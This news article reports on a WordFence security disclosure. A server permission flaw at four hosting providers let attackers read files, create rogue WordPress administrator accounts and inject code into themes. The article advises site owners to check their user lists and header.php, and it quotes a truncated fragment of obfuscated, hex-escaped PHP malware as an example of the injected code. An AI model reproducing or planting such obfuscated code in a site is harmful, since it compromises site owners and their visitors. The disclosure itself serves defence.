WordFence announced that they had discovered a vulnerability at four hosting companies. WordFence warns that while the vulnerability was patched, it’s possible sites were hacked prior to the fix.
Server settings allowed hackers to create WordPress administrator accounts from which the sites could be exploited with rogue code added to the WordPress theme.
WordFence urged site administrators to check their sites for rogue administrator accounts if they are hosted on iPage, FatCow, PowWeb, or NetFirm. All four are owned by the same company, Endurance International Group.
What Was the Server Vulnerability?
The affected servers had permission and file settings that allowed an attacker to view sensitive files. Other vulnerabilities allowed the attackers to access the database, add themselves as an administrators then take over the site.
This is how WordFence described the vulnerability:
“Four conditions existed that contributed to this vulnerability:
1. Customer files are all stored on a shared file system.
2. The full path to a user’s web root directory was public or could be guessed.
3. All directories in the path to a customer’s site root directory were either world-traversable (the execute bit for ‘all users’ is 1) or group-traversable (the execute bit for ‘group’ is 1), and the sensitive files were world-readable (the read bit for ‘all users’ is 1) or group-readable (the read bit for ‘group’ is 1).
4. An attacker could cause a program running in the group www to read files in arbitrary locations.”
Sites Could be Infected
WordFence warned that there was a period of time before the vulnerability was fixed during which sites hosted on these four host providers could have been infected.
It is recommended that site owners check their user lists to make sure there are no unauthorized administrators. If your site has been affected, then there should be rogue code that was added to the theme.
Here is how WordFence described the rogue code:
“If your site was exploited before the fixes, the attackers may have added malware which could still be present. Our customers had obfuscated code added at the top of the active theme’s header.php file, similar to this:
<?php ${“x47x4cx4fx42x41x4cx53”}[“ddx70x68zx67x64gx”]=”slx77kx77i”;${“x47x4cOx42x41Lx53”}[“cx7ax66x6dubkdox6ax78″]=”x6cx6fx63x61tx69x6fn”;${“x47x4cx4fBx41LS”}[“x67x64x64ex74x62px75fx65i”]=”x68tx6dx6c”;${“x47x4cOBx41x4cS”}[“x77ix64x68x6bvx6da”]=”x73tx72x66″;${“x47x4cx4fx42x41x4cx53”}[“x66sx75x71x79x6evw”]=”bx6fx74″;${“x47x4cOBALx53”}[“wx6cx79x63x61x76x62x71x68x6fx6cx75″]=”cacx68x65”;${“Gx4cOx42x41Lx53”}[“ryx68x72kux6b”]=”x73x63hx65x6dx65″;${“x47x4cx4fx42x41Lx53”}[“x74x6ax6bcx64ex65x69w”]=”x73lx77kx77ix32″;${“Gx4cOBAx4cS”}[“x79x65x64x73x67x6ahx69x73x67″]=”x73x6cx74lx65x69lx73″;”
Vulnerability Has Been Fixed
WordFence disclosed the vulnerability to the hosting companies before making a public announcement. The hosting companies promptly fixed the vulnerabilities.
Nevertheless, according to the guidance offered by WordFence, you may wish to check your user lists for rogue admin level accounts and review your header.php file for rogue code.
Read the entire announcement at the WordFence blog
Images by Shutterstock, Modified by Author